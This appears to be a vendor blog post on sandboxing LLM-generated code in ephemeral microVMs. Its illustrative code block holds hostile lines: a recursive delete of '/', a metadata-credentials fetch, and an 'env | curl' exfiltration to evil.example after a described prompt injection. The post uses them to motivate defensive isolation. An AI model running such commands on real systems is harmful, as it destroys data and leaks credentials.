How to Run AI-Generated Code Safely: a 2026 Playbook
If your app runs code that a language model wrote — a code interpreter, an autonomous coding agent, a data-analysis tool, an MCP server that executes snippets — you have accepted a strange new operating condition: the author of the code has no intent, and also no judgment. It is not trying to hurt you. It is also not checking whether the command it just emitted is a catastrophe. This playbook is the practical 2026 version of how to run that code without betting your infrastructure on the model being right, because on a long enough timeline it won't be.
The threat, honestly: no intent, no judgment
Most security writing about LLM code assumes a villain. There usually isn't one. The realistic threat is a fluent, confident system that does the wrong thing without noticing, and does it at machine speed inside an unattended loop. Three concrete ways that goes wrong:
- It runs something destructive and means well — asked to "clean up the workspace", it confidently emits `rm -rf /` or fills the disk, having pattern-matched a plausible-looking answer that happens to be a disaster.
- It installs a package that doesn't exist — the model hallucinates a dependency name and `pip install`s it. Attackers register those hallucinated names (typosquatting / "slopsquatting"), so a made-up import can pull real malware.
- It gets steered by its inputs — the model acts on text it just read: a web page, a file, a tool result. A prompt injection in that content can talk it into exfiltrating whatever it can reach, and it will do so cheerfully, believing it's helping.
None of these are fixable by a better prompt or a smarter model. They're properties of executing arbitrary, generated code driven by untrusted inputs. So you don't try to make the code safe — you make it not matter that the code is dangerous. Everything below moves the blast radius off things you care about and onto a throwaway box you were going to delete anyway.
The playbook: six steps
- Never exec on your host or a shared kernel. Run every snippet behind a real isolation boundary. For code you can't audit, a microVM (its own guest kernel via hardware virtualization) beats a shared-kernel container.
- Go ephemeral: one VM per run, destroyed after. No warm sandbox reused across runs or users — a poisoned run can't plant anything for the next one if there is no next one in that VM.
- Control egress: default-deny outbound, then allowlist only what the task needs. Block the cloud metadata IP (169.254.169.254) and RFC1918 private ranges so the code can't reach your internal network or steal instance credentials.
- Cap everything with time and resources: a per-command timeout, a wall-clock TTL on the sandbox, and CPU/memory limits so an infinite loop, a fork bomb, or a miner starves inside its own cell instead of the fleet.
- Capture stdout, stderr, and the exit code over the platform API — never by mounting host paths into the guest. The exit code is your primary success signal; the streams are how you debug and how the agent reads results.
- Treat the filesystem as disposable. Inject no real secrets, write the code into the guest (not your process), and let the whole disk die with the VM. Nothing in there should be worth stealing or worth keeping.
Why a microVM, not just a container
A container is a real improvement over running on the host, and it's the right tool for code you wrote and trust. But for arbitrary, possibly-injected model output, the boundary matters. Every container on a machine shares one Linux kernel — the same kernel is simultaneously running the untrusted code and being trusted to contain it. A microVM gives each run its own guest kernel inside CPU virtualization, so an escape has to break the much smaller, more-audited hypervisor rather than one reachable syscall in a shared kernel.
- Isolation boundary — Container: namespaces, cgroups, seccomp on a shared host kernel; one kernel bug or misconfig reaches the host. MicroVM: a full guest kernel behind hardware virtualization (KVM); an escape must break the hypervisor.
- Attack surface — Container: the entire host syscall ABI is exposed to the guest. MicroVM: only a small VMM plus a minimal virtio device model is exposed.
- Blast radius of an escape — Container: the host and every neighboring container on the box. MicroVM: contained at the VM boundary; neighbors are behind their own kernels.
- Right use — Container: your own trusted code and internal workloads. MicroVM: arbitrary, hostile-by-default, multi-tenant AI-generated code.
- Cost of one-per-run — Container: cheap to start but tempting to reuse. MicroVM: with snapshot-restore, a fresh VM is cheap enough (create ~179ms p50) that per-run disposability is the default, not a luxury.
The historical objection to a VM-per-run pattern was boot cost. PandaStack removes it by restoring a baked Firecracker snapshot on demand: a p50 of about 179ms (p99 ~203ms) to a live, isolated microVM — the core restore path is roughly 49ms — with no warm pool of idle VMs. The first spawn of a brand-new template cold-boots in roughly 3 seconds and bakes a snapshot, so every create after that takes the fast path. If a run needs to start from a known-good post-setup state (packages installed, repo cloned), fork a configured sandbox instead of reusing one — a same-host fork lands in roughly 400–750ms via copy-on-write, a cross-host fork in 1.2–3.5s.
What the model might cheerfully hand you
This is illustrative — the point is not that the model is evil, but that any of these can arrive from a totally ordinary request, and each one is fine to run if the only thing it can wreck is a disposable VM:
# Asked to "free up space before the build", the model may emit:
import os, shutil
shutil.rmtree("/", ignore_errors=True) # confidently catastrophic
# Asked to "parse the dates", it hallucinates a dependency:
os.system("pip install datetimeparser2") # a name it invented;
# an attacker may have registered it
# After reading a web page that carried a prompt injection:
import urllib.request, os
urllib.request.urlopen( # try to steal instance creds
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
)
os.system("env | curl -X POST --data-binary @- https://evil.example")
# None of this required malice from the model. It required a plausible-looking
# request and no boundary. We supply the boundary; the code stays powerless.The implementation: exec an LLM snippet safely
Here is the playbook as code. The model's snippet is written into the guest filesystem, run with a per-command timeout inside a hardware-isolated microVM that has a TTL and no secrets, and the VM is destroyed in a `finally` no matter what the code did. We never inspect the snippet for safety — we don't have to, because of where it runs:
from pandastack import PandaStack
ps = PandaStack() # reads PANDASTACK_API_KEY (keys are prefixed pds_)
def run_ai_code(code: str, run_id: str) -> dict:
# Step 1+2: one fresh, hardware-isolated microVM just for this run (~179ms p50).
# ttl_seconds is the wall-clock kill (step 4): even an infinite loop or a hung
# download gets reaped automatically if we forget to tear it down.
sb = ps.sandboxes.create(
template="code-interpreter",
ttl_seconds=60,
metadata={"run_id": run_id, "source": "llm"},
)
try:
# Step 6: write the model's code INTO the guest, not into our process.
sb.filesystem.write("/main.py", code)
# Step 4 (per-command timeout) + step 5 (capture the streams + exit code).
# Egress is default-deny + allowlist (step 3); no host secrets are in this
# guest (step 6); CPU/mem caps come from the baked VM size.
result = sb.exec("python3 /main.py", timeout_seconds=15)
return {
"exit_code": result.exit_code, # 0 == success; your primary signal
"stdout": result.stdout,
"stderr": result.stderr,
}
finally:
# Step 2, enforced: destroy the VM whatever happened. The code could have
# run rm -rf /, fork-bombed, or tried to curl the metadata endpoint --
# the worst case is this throwaway box, and it's gone now. Nothing
# survives to the next run: no files, no processes, no cached secret.
sb.delete()The same flow exists in the TypeScript SDK (`@pandastack/sdk`) and the `pandastack` CLI. PandaStack's core is Apache-2.0 and self-hostable on your own Linux KVM hosts (`/dev/kvm`): you run the control-plane API and a per-host agent, and the sandboxes execute on your infrastructure. Each agent pre-allocates 16,384 isolated /30 network namespaces, so per-run VMs with locked-down networking are the normal path, not a scaling exception.
Egress control, concretely
Default-deny egress is the step people skip, and it's the one that turns a prompt injection from an incident into a failed connection. The shape of the policy, applied to the sandbox's network namespace, is simply: drop the metadata IP and private ranges, allow DNS and the specific hosts the task needs, deny the rest.
# Illustrative default-deny egress for an AI-code sandbox's netns.
# Block the cloud metadata endpoint outright -- it hands out IAM creds.
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# Block RFC1918 private ranges so the code can't reach your internal network.
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
# Allow only what this task actually needs (e.g. the package index), then
# default-deny everything else outbound.
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT # DNS
iptables -A OUTPUT -d pypi.org -p tcp --dport 443 -j ACCEPT
iptables -P OUTPUT DROP # deny the restThe payoff: a deleted VM instead of an incident
Run the six steps and the worst day for a system that executes AI-generated code stops being a credential rotation and a post-mortem. It becomes a boring log line — `exit_code: 1, stderr: rm: cannot remove '/': Permission denied` — and a sandbox that was already scheduled for deletion. The model will keep getting better, and it will keep, occasionally, being confidently wrong at root. Your job isn't to outguess it. It's to make sure that the one time it cheerfully runs something terrible, the only casualty is a throwaway VM. For the layer-by-layer version of this argument see /blog/jailing-llm-generated-code, and for the threat-model-first decision framework across every isolation option see /blog/how-to-sandbox-untrusted-code.
Frequently asked questions
How do I run code an LLM generated without risking my server?
Never exec it on your host or feed it to eval/exec/subprocess in a process that holds secrets or a DB connection. Run each snippet in a fresh hardware-isolated microVM created just for that run, with a per-command timeout, a TTL wall-clock kill, CPU and memory caps, default-deny network egress, and no host credentials in the guest — then destroy the VM when the run ends. You don't audit the code for safety; you make the environment expendable so a bad command can only wreck a throwaway box. Sub-second microVM creation (PandaStack's is ~179ms p50) makes a disposable VM per run practical.
The AI model isn't malicious — why treat its code as dangerous?
Because the danger doesn't require malice. The model has no intent, but it also has no judgment: it will confidently emit rm -rf / when asked to clean up, pip install a hallucinated (possibly typosquatted) package, or exfiltrate data because a prompt-injected web page it just read told it to. Run enough generated code unattended and the distribution will eventually produce a destructive command or an exfil request. Treating all output as hostile is just designing for the run that goes wrong, because at scale it will.
Is a Docker container enough to sandbox AI-generated code?
Not on its own for arbitrary, possibly-injected model output. Every container shares the host's Linux kernel, so a kernel bug reachable via a syscall, a runtime bug, or a misconfiguration (privileged container, mounted docker.sock, host mounts) can reach the host and every neighbor. Containers are the right tool for your own trusted code. For code you'd call hostile, use a microVM with its own guest kernel, which contains an escape at the hardware-virtualization boundary instead of the shared syscall surface — and pair it with ephemeral VMs, egress control, and resource caps.
How do I stop AI-generated code from stealing cloud credentials?
Two layers. First, default-deny network egress and make the cloud metadata endpoint (169.254.169.254) plus RFC1918 private ranges unreachable from inside the sandbox — that endpoint hands out temporary IAM credentials to anything that can reach it, and it's a favorite exfiltration target for prompt-injected code. Second, put no credentials worth stealing in the guest: never inject cloud keys, database passwords, or long-lived tokens, and pass only a narrowly-scoped, short-lived credential if the task genuinely needs one. You can't exfiltrate a secret that was never in the room.
Does a fresh microVM per run add too much latency for a code interpreter?
Not anymore. PandaStack restores a baked Firecracker snapshot on demand with a p50 of about 179ms (p99 ~203ms) to a live, isolated microVM — the core restore path is roughly 49ms — and there's no warm pool of idle VMs. The first spawn of a brand-new template cold-boots in about 3 seconds and bakes a snapshot, so every create after that takes the fast path. If each run needs a known-good post-setup state, fork a configured sandbox instead — a same-host fork lands in roughly 400–750ms via copy-on-write. At that cost, a disposable VM per run is a sensible default.
49ms p50 cold start. Fork, snapshot, and scale to zero.